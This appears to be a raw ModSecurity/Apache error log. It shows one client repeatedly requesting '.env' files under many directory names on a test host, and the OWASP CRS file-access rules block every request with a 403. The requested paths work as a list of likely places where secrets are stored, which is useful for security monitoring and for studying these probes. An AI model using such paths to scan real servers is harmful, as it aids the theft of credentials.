[Mon Jul 28 20:46:19.163965 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /socketio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldAAAAAg&quot;]
[Mon Jul 28 20:46:19.164188 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldAAAAAg&quot;]
[Mon Jul 28 20:46:19.164377 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldAAAAAg&quot;]
[Mon Jul 28 20:46:19.193662 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /source/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldQAAAAg&quot;]
[Mon Jul 28 20:46:19.193890 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldQAAAAg&quot;]
[Mon Jul 28 20:46:19.194070 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldQAAAAg&quot;]
[Mon Jul 28 20:46:19.223149 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldgAAAAg&quot;]
[Mon Jul 28 20:46:19.223390 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldgAAAAg&quot;]
[Mon Jul 28 20:46:19.223559 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldgAAAAg&quot;]
[Mon Jul 28 20:46:19.252680 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldwAAAAg&quot;]
[Mon Jul 28 20:46:19.252888 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldwAAAAg&quot;]
[Mon Jul 28 20:46:19.253048 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreldwAAAAg&quot;]
[Mon Jul 28 20:46:19.282659 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spearmint/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleAAAAAg&quot;]
[Mon Jul 28 20:46:19.282856 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleAAAAAg&quot;]
[Mon Jul 28 20:46:19.283009 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleAAAAAg&quot;]
[Mon Jul 28 20:46:19.312044 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spikes/config-material-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleQAAAAg&quot;]
[Mon Jul 28 20:46:19.312239 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleQAAAAg&quot;]
[Mon Jul 28 20:46:19.312386 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreleQAAAAg&quot;]
[Mon Jul 28 20:46:19.341463 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spotiapps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelegAAAAg&quot;]
[Mon Jul 28 20:46:19.341657 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelegAAAAg&quot;]
[Mon Jul 28 20:46:19.341813 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelegAAAAg&quot;]
[Mon Jul 28 20:46:19.370957 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/instancewithdependentsteps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelewAAAAg&quot;]
[Mon Jul 28 20:46:19.371150 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelewAAAAg&quot;]
[Mon Jul 28 20:46:19.371328 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelewAAAAg&quot;]
[Mon Jul 28 20:46:19.400416 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptintegrationproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfAAAAAg&quot;]
[Mon Jul 28 20:46:19.400610 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfAAAAAg&quot;]
[Mon Jul 28 20:46:19.400795 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfAAAAAg&quot;]
[Mon Jul 28 20:46:19.430992 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfQAAAAg&quot;]
[Mon Jul 28 20:46:19.431224 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfQAAAAg&quot;]
[Mon Jul 28 20:46:19.431392 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfQAAAAg&quot;]
[Mon Jul 28 20:46:19.460689 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptvisualizeproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfgAAAAg&quot;]
[Mon Jul 28 20:46:19.460909 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfgAAAAg&quot;]
